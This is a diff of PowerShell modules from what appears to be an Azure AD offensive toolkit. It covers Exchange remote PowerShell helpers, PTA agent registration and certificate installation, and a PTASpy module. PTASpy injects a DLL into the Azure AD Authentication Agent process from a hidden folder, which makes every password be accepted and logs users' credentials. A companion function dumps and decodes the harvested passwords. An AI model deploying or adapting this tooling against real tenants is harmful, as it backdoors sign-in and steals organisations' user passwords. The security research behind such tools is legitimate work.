$SequenceId="1"
|
||||
|
||||
#$To = "https://ps.outlook.com:443/powershell?PSVersion=5.1.17134.590"
|
||||
$To = "https://outlook.office365.com:443/PowerShell-LiveID?BasicAuthToOAuthConversion=true&PSVersion=5.1.17763.1490"
|
||||
$Envelope=@"
|
||||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
|
||||
<s:Header>
|
||||
<a:To>$To</a:To>
|
||||
<a:ReplyTo>
|
||||
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
|
||||
</a:ReplyTo>
|
||||
<a:Action s:mustUnderstand="true">$action_url</a:Action>
|
||||
<w:MaxEnvelopeSize s:mustUnderstand="true">512000</w:MaxEnvelopeSize>
|
||||
<a:MessageID>uuid:$MessageId</a:MessageID>
|
||||
<w:Locale xml:lang="en-US" s:mustUnderstand="false" />
|
||||
<p:DataLocale xml:lang="en-US" s:mustUnderstand="false" />
|
||||
<p:SessionId s:mustUnderstand="false">uuid:$SessionId</p:SessionId>
|
||||
<p:OperationID s:mustUnderstand="false">uuid:$OperationId</p:OperationID>
|
||||
<p:SequenceId s:mustUnderstand="false">$SequenceId</p:SequenceId>
|
||||
<w:ResourceURI xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">http://schemas.microsoft.com/powershell/Microsoft.Exchange</w:ResourceURI>
|
||||
$(
|
||||
if(![String]::IsNullOrEmpty($Shell_Id))
|
||||
{
|
||||
@"
|
||||
<w:SelectorSet xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">
|
||||
<w:Selector Name="ShellId">$Shell_Id</w:Selector>
|
||||
</w:SelectorSet>
|
||||
"@
|
||||
}
|
||||
)
|
||||
$(
|
||||
if(![String]::IsNullOrEmpty($Option))
|
||||
{
|
||||
@"
|
||||
<w:OptionSet xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" s:mustUnderstand="true">
|
||||
<w:Option Name="$($Option[0])">$($Option[1])</w:Option>
|
||||
</w:OptionSet>
|
||||
"@
|
||||
}
|
||||
)<w:OperationTimeout>PT180.000S</w:OperationTimeout>
|
||||
</s:Header>
|
||||
<s:Body>
|
||||
$Body
|
||||
</s:Body>
|
||||
</s:Envelope>
|
||||
"@
|
||||
# This can be used to compress the data (which we don't want to)
|
||||
# <rsp:CompressionType s:mustUnderstand="true" xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell">xpress</rsp:CompressionType>
|
||||
|
||||
Write-Verbose "ENVELOPE: $Envelope"
|
||||
return $Envelope
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
# Creates a PSRP Envelope
|
||||
function Call-PSRP
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Envelope,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Bool]$Oauth=$false
|
||||
)
|
||||
Process
|
||||
{
|
||||
Write-Verbose "Calling the Remote PowerShell: $Envelope"
|
||||
|
||||
$headers = @{
|
||||
"Authorization" = Create-AuthorizationHeader -Credentials $Credentials
|
||||
"Content-Type" = "application/soap+xml;charset=UTF-8"
|
||||
"User-Agent" = "Microsoft WinRM Client"
|
||||
}
|
||||
|
||||
$url="https://outlook.office365.com:443/PowerShell-LiveID?"
|
||||
|
||||
# EXO Remote PS uses basic authentication header to provide the Oauth token..
|
||||
if($Oauth)
|
||||
{
|
||||
$url+="BasicAuthToOauthConversion=true;"
|
||||
}
|
||||
$url += "PSVersion=5.1.17134.590"
|
||||
|
||||
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Method Post -Uri $url -Headers $headers -Body $Envelope -TimeoutSec 190
|
||||
|
||||
|
||||
Write-Verbose "RESPONSE: $response.Content"
|
||||
|
||||
return $response.Content
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# Reads the response(s)
|
||||
function Receive-PSRP
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter()]
|
||||
[Bool]$Oauth=$false,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$SessionId,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Shell_Id,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$CommandId
|
||||
)
|
||||
Process
|
||||
{
|
||||
Write-Verbose "Retrieving PowerShell Remote Protocol response"
|
||||
|
||||
$AuthHeader = Create-AuthorizationHeader -Credentials $Credentials
|
||||
|
||||
$CommandIdString =""
|
||||
if(![String]::IsNullOrEmpty($CommandId))
|
||||
{
|
||||
$CommandIdString = " CommandId=`"$CommandId`""
|
||||
}
|
||||
|
||||
$Body = @"
|
||||
<rsp:Receive xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" SequenceId="0">
|
||||
<rsp:DesiredStream$CommandIdString>stdout</rsp:DesiredStream>
|
||||
</rsp:Receive>
|
||||
"@
|
||||
$SessionId = (New-Guid).ToString().ToUpper()
|
||||
$Envelope = Create-PSRPEnvelope -SessionId $SessionId -Body $Body -Action Receive -Shell_Id $Shell_Id -Option @("WSMAN_CMDSHELL_OPTION_KEEPALIVE","TRUE")
|
||||
|
||||
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
|
||||
|
||||
Write-Verbose "RESPONSE: $response"
|
||||
|
||||
return $response
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
# Reads the response(s) and returns an array of objects
|
||||
function Receive-PSRPObjects
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter()]
|
||||
[Bool]$Oauth=$false,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Envelope,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$SessionId,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Shell_Id,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$CommandId
|
||||
)
|
||||
Process
|
||||
{
|
||||
$return_array = @()
|
||||
try
|
||||
{
|
||||
# Make the command call
|
||||
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
|
||||
|
||||
$get_output = $true
|
||||
|
||||
# Get the output
|
||||
while($get_output)
|
||||
{
|
||||
try
|
||||
{
|
||||
[xml]$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth
|
||||
|
||||
# Loop through streams
|
||||
foreach($message in $response.Envelope.Body.ReceiveResponse.Stream)
|
||||
{
|
||||
$parsed_message = Parse-PSRPMessage -Base64Value $message.'#text'
|
||||
[xml]$xmlData = $parsed_message.Data
|
||||
|
||||
if($parsed_message.'Message type' -eq "Pipeline output")
|
||||
{
|
||||
# Loop thru the attributes
|
||||
$attributes = [ordered]@{}
|
||||
foreach($node in $xmlData.Obj.Props.ChildNodes)
|
||||
{
|
||||
$name = $node.N
|
||||
$value = $node.InnerText
|
||||
if($name -eq "ObjectClass")
|
||||
{
|
||||
# Special attribute..
|
||||
$value=$node.LST.s[1]
|
||||
}
|
||||
$attributes[$name]=$value
|
||||
}
|
||||
$return_array+=(New-Object psobject -Property $attributes)
|
||||
}
|
||||
elseif($parsed_message.'Message type' -eq "Pipeline state")
|
||||
{
|
||||
$errorRecord = (Select-Xml -Xml $xmlData -XPath "//*[@N='ErrorRecord']").Node.'#text'
|
||||
if(![string]::IsNullOrEmpty($errorRecord))
|
||||
{
|
||||
# Something went wrong, probably not an admin user
|
||||
Write-Error "Got an error! May be not an admin user?"
|
||||
Write-Verbose "ERROR: $errorRecord"
|
||||
}
|
||||
}
|
||||
elseif($parsed_message.'Message type' -eq "Warning record")
|
||||
{
|
||||
$warningRecord = (Select-Xml -Xml $xmlData -XPath "//*[@N='InformationalRecord_Message']").Node.'#text'
|
||||
if(![string]::IsNullOrEmpty($warningRecord))
|
||||
{
|
||||
Write-Warning $warningRecord
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Loop thru the CommandStates
|
||||
foreach($state in $response.Envelope.Body.ReceiveResponse.CommandState)
|
||||
{
|
||||
# Okay, we're done!
|
||||
$exitCode = $state.ExitCode
|
||||
if(![string]::IsNullOrEmpty($exitCode))
|
||||
{
|
||||
Write-Progress -Activity "Retrieving objects" -Completed
|
||||
$get_output = $false
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
# Something wen't wrong so exit the loop
|
||||
break
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
# Do nothing
|
||||
}
|
||||
|
||||
return $return_array
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,215 @@
|
||||
# This script contains utility functions for PTA
|
||||
|
||||
# Error codes
|
||||
$ERROR_ACCESS_DENIED = 5
|
||||
$ERROR_ACCOUNT_DISABLED = 1331
|
||||
$ERROR_ACCOUNT_EXPIRED = 1793
|
||||
$ERROR_ACCOUNT_LOCKED_OUT = 1909
|
||||
$ERROR_ACCOUNT_RESTRICTION = 1327
|
||||
$ERROR_AUTHENTICATION_FIREWALL_FAILED = 1935
|
||||
$ERROR_BAD_ARGUMENTS = 160
|
||||
$ERROR_DOMAIN_CONTROLLER_NOT_FOUND = 1908
|
||||
$ERROR_DOMAIN_TRUST_INCONSISTENT = 1810
|
||||
$ERROR_FILENAME_EXCED_RANGE = 206
|
||||
$ERROR_INTERNAL_ERROR = 1359
|
||||
$ERROR_INVALID_ACCESS = 12
|
||||
$ERROR_INVALID_LOGON_HOURS = 1328
|
||||
$ERROR_INVALID_SERVER_STATE = 1352
|
||||
$ERROR_INVALID_WORKSTATION = 1329
|
||||
$ERROR_LDAP_FILTER_ERROR = 87
|
||||
$ERROR_LDAP_OPERATIONS_ERROR = 1
|
||||
$ERROR_LOGON_FAILURE = 1326
|
||||
$ERROR_LOGON_TYPE_NOT_GRANTED = 1385
|
||||
$ERROR_NETLOGON_NOT_STARTED = 1792
|
||||
$ERROR_NOT_ENOUGH_MEMORY = 8
|
||||
$ERROR_NOT_ENOUGH_SERVER_MEMORY = 1130
|
||||
$ERROR_NO_LOGON_SERVERS = 1311
|
||||
$ERROR_NO_SUCH_DOMAIN = 1355
|
||||
$ERROR_NO_SUCH_PACKAGE = 1364
|
||||
$ERROR_NO_SUCH_USER = 1317
|
||||
$ERROR_NO_SYSTEM_RESOURCES = 1450
|
||||
$ERROR_NO_TRUST_SAM_ACCOUNT = 1787
|
||||
$ERROR_OUTOFMEMORY = 14
|
||||
$ERROR_PASSWORD_EXPIRED = 1330
|
||||
$ERROR_PASSWORD_MUST_CHANGE = 1907
|
||||
$ERROR_PASSWORD_RESTRICTION = 1325
|
||||
$ERROR_REQUEST_NOT_SUPPORTED = 50
|
||||
$ERROR_RPC_S_CALL_FAILED = 1726
|
||||
$ERROR_RPC_S_SERVER_UNAVAILABLE = 1722
|
||||
$ERROR_TIME_SKEW = 1398
|
||||
$ERROR_TOO_MANY_CONTEXT_IDS = 1384
|
||||
$ERROR_TRUSTED_DOMAIN_FAILURE = 1788
|
||||
$ERROR_TRUSTED_RELATIONSHIP_FAILURE = 1789
|
||||
$ERROR_WRONG_PASSWORD = 1323
|
||||
$SEC_E_SMARTCARD_LOGON_REQUIRED = -2146892994
|
||||
|
||||
# Registers PTAAgent to the Azure AD
|
||||
# Nov 10th 2019
|
||||
# Sep 7th 2022: Added UpdateTrust
|
||||
function Register-PTAAgent
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Registers the PTA agent to Azure AD and creates a client certificate or renews existing certificate.
|
||||
|
||||
.DESCRIPTION
|
||||
Registers the PTA agent to Azure AD with given machine name and creates a client certificate or renews existing certificate.
|
||||
|
||||
The filename of the certificate is <server FQDN>_<tenant id>_<agent id>_<cert thumbprint>.pfx
|
||||
|
||||
.Example
|
||||
Get-AADIntAccessTokenForPTA -SaveToCache
|
||||
Register-AADIntPTAAgent -MachineName "server1.company.com"
|
||||
|
||||
PTA Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) registered as server1.company.com
|
||||
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
|
||||
|
||||
.Example
|
||||
$pt=Get-AADIntAccessTokenForPTA
|
||||
PS C:\>Register-AADIntPTAAgent -AccessToken $pt -MachineName "server1.company.com"
|
||||
|
||||
PTA Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) registered as server1.company.com
|
||||
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
|
||||
|
||||
.Example
|
||||
PS C:\>Register-AADIntPTAAgent -MachineName "server1.company.com" -UpdateTrust -PfxFileName .\server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
|
||||
|
||||
PTA Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) certificate renewed for server1.company.com
|
||||
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_449D42C1BA32B23A621EBE62329AE460FE68924B.pfx
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$MachineName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$FileName,
|
||||
[Parameter(ParameterSetName='normal',Mandatory=$False)]
|
||||
[Parameter(ParameterSetName='update',Mandatory=$True)]
|
||||
[switch]$UpdateTrust,
|
||||
[Parameter(ParameterSetName='update',Mandatory=$True)]
|
||||
[String]$PfxFileName,
|
||||
[Parameter(ParameterSetName='update',Mandatory=$False)]
|
||||
[String]$PfxPassword
|
||||
)
|
||||
Process
|
||||
{
|
||||
return Register-ProxyAgent -AccessToken $AccessToken -MachineName $MachineName -FileName $FileName -AgentType PTA -UpdateTrust $UpdateTrust -PfxFileName $PfxFileName -PfxPassword $PfxPassword
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
# Sets the certificate used by Azure AD Authentication Agent
|
||||
# Mar 3rd 2020
|
||||
# May 18th 2022: Fixed
|
||||
function Set-PTACertificate
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Sets the certificate used by Azure AD Authentication Agent
|
||||
|
||||
.DESCRIPTION
|
||||
Sets the certificate used by Azure AD Authentication Agent.
|
||||
The certificate must be created with Register-AADIntPTAAgent function or exported with Export-AADIntProxyAgentCertificates.
|
||||
|
||||
.Example
|
||||
Set-AADIntPTACertificate -PfxFileName server1.pfx -PfxPassword "password"
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$PfxFileName="PTA_client_certificate.pfx",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$PfxPassword
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check if the file exists
|
||||
if(Test-Path $PfxFileName -ne $True)
|
||||
{
|
||||
Write-Error "The file $PfxFileName does not exist!"
|
||||
return
|
||||
}
|
||||
|
||||
# Import the certificate twice, otherwise PTAAgent has issues to access private keys
|
||||
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new((Get-Item $PfxFileName).FullName, $PfxPassword, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::MachineKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
|
||||
$cert.Import((Get-Item $PfxFileName).FullName, $PfxPassword, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::MachineKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
|
||||
|
||||
# Add certificate to Local Computer Personal store
|
||||
$myStore = Get-Item -Path "Cert:\LocalMachine\My"
|
||||
$myStore.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::ReadWrite)
|
||||
$myStore.Add($cert)
|
||||
$myStore.Close()
|
||||
|
||||
# Get the Tenant Id and Instance Id
|
||||
$TenantId = $cert.Subject.Split("=")[1]
|
||||
|
||||
foreach($extension in $cert.Extensions)
|
||||
{
|
||||
if($extension.Oid.Value -eq "1.3.6.1.4.1.311.82.1")
|
||||
{
|
||||
$InstanceID = [guid]$extension.RawData
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
# Set the registry value (the registy entry should already exists)
|
||||
Write-Verbose "Setting HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent\InstanceID to $InstanceID"
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent" -Name "InstanceID" -Value $InstanceID
|
||||
|
||||
if(![string]::IsNullOrEmpty($TenantId))
|
||||
{
|
||||
Write-Verbose "Setting HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent\TenantID to $TenantId"
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent" -Name "TenantID" -Value $TenantId
|
||||
}
|
||||
|
||||
# Set the certificate thumbprint to config file
|
||||
$configFile = "$env:ProgramData\Microsoft\Azure AD Connect Authentication Agent\Config\TrustSettings.xml"
|
||||
|
||||
Write-Verbose "Setting the certificate thumbprint $($cert.Thumbprint) to $configFile"
|
||||
|
||||
[xml]$TrustConfig = Get-Content $configFile
|
||||
$TrustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.Thumbprint = $cert.Thumbprint
|
||||
$TrustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.IsInUserStore = "false"
|
||||
$TrustConfig.OuterXml | Set-Content $configFile
|
||||
|
||||
# Set the read access to private key
|
||||
$ServiceUser="NT SERVICE\AzureADConnectAuthenticationAgent"
|
||||
|
||||
# Create an accessrule for private key
|
||||
$AccessRule = New-Object Security.AccessControl.FileSystemAccessrule $ServiceUser, "read", allow
|
||||
|
||||
# Give read permissions to the private key
|
||||
$keyName = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($cert).Key.UniqueName
|
||||
Write-Verbose "Private key: $keyName"
|
||||
|
||||
$paths = @(
|
||||
"$env:ALLUSERSPROFILE\Microsoft\Crypto\RSA\MachineKeys\$keyName"
|
||||
"$env:ALLUSERSPROFILE\Microsoft\Crypto\Keys\$keyName"
|
||||
)
|
||||
foreach($path in $paths)
|
||||
{
|
||||
if(Test-Path $path)
|
||||
{
|
||||
Write-Verbose "Setting read access for ($ServiceUser) to the private key ($path)"
|
||||
|
||||
try
|
||||
{
|
||||
$permissions = Get-Acl -Path $path -ErrorAction SilentlyContinue
|
||||
$permissions.AddAccessRule($AccessRule)
|
||||
Set-Acl -Path $path -AclObject $permissions -ErrorAction SilentlyContinue
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Error "Could not give read access for ($ServiceUser) to the private key ($path)!"
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host "`nCertification information set, remember to (re)start the service."
|
||||
}
|
||||
}
|
||||
BIN
Binary file not shown.
+157
@@ -0,0 +1,157 @@
|
||||
# PTASpy functions
|
||||
|
||||
# Some constants
|
||||
$serviceName = "AzureADConnectAuthenticationAgent"
|
||||
$processName = "AzureADConnectAuthenticationAgentService"
|
||||
|
||||
# May 20th 2019
|
||||
function Install-PTASpy
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Installs PTASpy to the current computer.
|
||||
|
||||
.DESCRIPTION
|
||||
Installs PTASpy to the current computer. PTASpy collects credentials to C:\PTASpy.log and accepts all passwords.
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param()
|
||||
Process
|
||||
{
|
||||
# Check that the process is running..
|
||||
$process = Get-Process -Name $processName -ErrorAction SilentlyContinue
|
||||
if([String]::IsNullOrEmpty($process))
|
||||
{
|
||||
Write-Error "This command needs to be run on a computer with Azure AD Authentication Agent running (AzureADConnectAuthenticationAgentService.exe)."
|
||||
return
|
||||
}
|
||||
|
||||
# Check the dependencies..
|
||||
if([String]::IsNullOrEmpty((Get-ChildItem -Path HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall | Get-ItemProperty | Where-Object {$_.DisplayName -like "Microsoft Visual C++ 2015 Redistributable (x64)*"})))
|
||||
{
|
||||
Write-Warning "Microsoft Visual C++ 2015 Redistributable (x64) seems not to be installed! If PTASpy installation fails, install from: https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe"
|
||||
}
|
||||
|
||||
$processId = $process.Id
|
||||
|
||||
$promptValue = Read-Host "Are you sure you wan't to install PTASpy to this computer? Type YES to continue or CTRL+C to abort"
|
||||
if($promptValue -eq "yes")
|
||||
{
|
||||
Write-Verbose "Creating and hiding directory C:\PTASpy"
|
||||
$PTASpyDir = New-Item -ItemType Directory -Force -Path C:\PTASpy
|
||||
$PTASpyDir.Attributes += "Hidden"
|
||||
|
||||
Write-Verbose "Copying PTASpy.dll to C:\PTASpy\"
|
||||
try
|
||||
{
|
||||
Copy-Item "$PSScriptRoot\PTASpy.dll" "C:\PTASpy\" -Force
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Error "Could not copy PTASpy.dll to C:\PTASPy - Try running Remove-AADIntPTASpy and try again"
|
||||
return
|
||||
}
|
||||
|
||||
$result=Inject-DLL -ProcessID $processID -FileName "C:\PTASpy\PTASpy.dll"
|
||||
Write-Verbose "Inject-DLL result: $result"
|
||||
|
||||
if($result -like "*success*")
|
||||
{
|
||||
Write-Host "Installation successfully completed!"
|
||||
Write-Host "All passwords are now accepted and credentials collected to C:\PTASpy\PTASpy.csv"
|
||||
return
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Error "Installation failed: $result"
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# May 20th 2019
|
||||
function Remove-PTASpy
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Removes PTASpy from the current computer
|
||||
|
||||
.DESCRIPTION
|
||||
Removes PTASpy from the current computer by restarting AzureADConnectAuthenticationAgentService service.
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param()
|
||||
Process
|
||||
{
|
||||
$service = Get-Service -Name $serviceName -ErrorAction SilentlyContinue
|
||||
if([String]::IsNullOrEmpty($service))
|
||||
{
|
||||
Write-Error "This command needs to be run on a computer with Azure AD Authentication Agent service (AzureADConnectAuthenticationAgent)"
|
||||
return
|
||||
}
|
||||
|
||||
Restart-Service $serviceName
|
||||
Write-Verbose "Removing C:\PTASpy\PTASpy.dll"
|
||||
|
||||
Remove-Item "C:\PTASpy\PTASpy.dll" -Force
|
||||
|
||||
Write-Host "Service restarted and C:\PTASpy\PTASpy.dll removed."
|
||||
}
|
||||
}
|
||||
|
||||
# May 20th 2019
|
||||
function Get-PTASpyLog
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Dumps credentials collected by PTASpy
|
||||
|
||||
.DESCRIPTION
|
||||
Dumps credentials from C:\PTASpy.csv collected by PTASpy and deletes the file if requested
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Switch]$DeleteFile,
|
||||
[Switch]$DecodePasswords
|
||||
)
|
||||
Process
|
||||
{
|
||||
$fileName = "C:\PTASpy\PTASpy.csv"
|
||||
$fileContent = Get-Content $fileName
|
||||
|
||||
foreach($row in $fileContent)
|
||||
{
|
||||
if(![String]::IsNullOrEmpty($row.Trim()))
|
||||
{
|
||||
$attributes=[ordered]@{}
|
||||
$values = $row.Split(",")
|
||||
|
||||
$attributes["UserName"]=$values[0]
|
||||
if($DecodePasswords)
|
||||
{
|
||||
$attributes["Password"]=[System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String($values[3]))
|
||||
}
|
||||
else
|
||||
{
|
||||
$attributes["Password"]=$values[3]
|
||||
}
|
||||
$date=[int]$values[2]
|
||||
# epoch from AccessToken_utils = 1.1.1970 00:00
|
||||
$attributes["Time"]=$epoch.AddSeconds($date)
|
||||
|
||||
New-Object PSObject -Property $attributes
|
||||
}
|
||||
}
|
||||
if($DeleteFile)
|
||||
{
|
||||
Remove-Item $fileName -Force
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
# Process utils
|
||||
|
||||
# May 20th 2019
|
||||
function Execute-Process
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Executes a given executable, batch, etc. in a new process and returns its stdout.
|
||||
|
||||
.DESCRIPTION
|
||||
Executes a given executable, batch, etc. in a new process and returns its stdout.
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$FileName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Arguments
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Create ProcessStartInfo
|
||||
$info = New-Object System.Diagnostics.ProcessStartInfo
|
||||
$info.FileName = $FileName
|
||||
$info.Arguments = $Arguments
|
||||
$info.CreateNoWindow = $true
|
||||
$info.RedirectStandardOutput = $true
|
||||
$info.UseShellExecute = $false
|
||||
|
||||
# Create a new process and execute it
|
||||
$ps = New-Object System.Diagnostics.Process
|
||||
$ps.StartInfo = $info
|
||||
$ps.Start() | Out-Null
|
||||
$ps.WaitForExit()
|
||||
|
||||
# Get the output and return it
|
||||
$stdout = $ps.StandardOutput.ReadToEnd()
|
||||
|
||||
return $stdout
|
||||
}
|
||||
}
|
||||
|
||||
# May 20th 2019
|
||||
function Inject-DLL
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Injects a given DLL to the given process
|
||||
|
||||
.DESCRIPTION
|
||||
Injects a given DLL to the given process.
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$ProcessID,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$FileName
|
||||
)
|
||||
Process
|
||||
{
|
||||
$InjectDLL = "$PSScriptRoot\InjectDLL.exe"
|
||||
|
||||
Execute-Process -FileName $InjectDLL -Arguments "$ProcessID `"$Filename`""
|
||||
}
|
||||
}
|
||||
|
||||
# May 20th 2019
|
||||
Function Get-ShortName {
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$FileName
|
||||
)
|
||||
Process
|
||||
{
|
||||
$ScriptingFSO = New-Object -ComObject Scripting.FileSystemObject
|
||||
return $ScriptingFSO.GetFile($($FileName)).ShortPath
|
||||
}
|
||||
}
|
||||
+6630
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,491 @@
|
||||
# This script contains utility functions for provisioning API at https://provisioning.microsoftonline.com
|
||||
# Office 365 / Azure AD v1, a.k.a. MSOnline module uses this API
|
||||
|
||||
# Azure AD Roles
|
||||
$AADRoles=@{
|
||||
"Helpdesk Administrator"= "729827e3-9c14-49f7-bb1b-9608f156bbb8"
|
||||
"Service Support Administrator"= "f023fd81-a637-4b56-95fd-791ac0226033"
|
||||
"Billing Administrator"= "b0f54661-2d74-4c50-afa3-1ec803f12efe"
|
||||
"Partner Tier1 Support"= "4ba39ca4-527c-499a-b93d-d9b492c50246"
|
||||
"Partner Tier2 Support"= "e00e864a-17c5-4a4b-9c06-f5b95a8d5bd8"
|
||||
"Directory Readers"= "88d8e3e3-8f55-4a1e-953a-9b9898b8876b"
|
||||
"Exchange Service Administrator"= "29232cdf-9323-42fd-ade2-1d097af3e4de"
|
||||
"Lync Service Administrator"= "75941009-915a-4869-abe7-691bff18279e"
|
||||
"User Account Administrator"= "fe930be7-5e62-47db-91af-98c3a49a38b1"
|
||||
"Directory Writers"= "9360feb5-f418-4baa-8175-e2a00bac4301"
|
||||
"Company Administrator"= "62e90394-69f5-4237-9190-012177145e10"
|
||||
"SharePoint Service Administrator"= "f28a1f50-f6e7-4571-818b-6a12f2af6b6c"
|
||||
"Device Users"= "d405c6df-0af8-4e3b-95e4-4d06e542189e"
|
||||
"Device Administrators"= "9f06204d-73c1-4d4c-880a-6edb90606fd8"
|
||||
"Device Join"= "9c094953-4995-41c8-84c8-3ebb9b32c93f"
|
||||
"Workplace Device Join"= "c34f683f-4d5a-4403-affd-6615e00e3a7f"
|
||||
"Compliance Administrator"= "17315797-102d-40b4-93e0-432062caca18"
|
||||
"Directory Synchronization Accounts"= "d29b2b05-8046-44ba-8758-1e26182fcf32"
|
||||
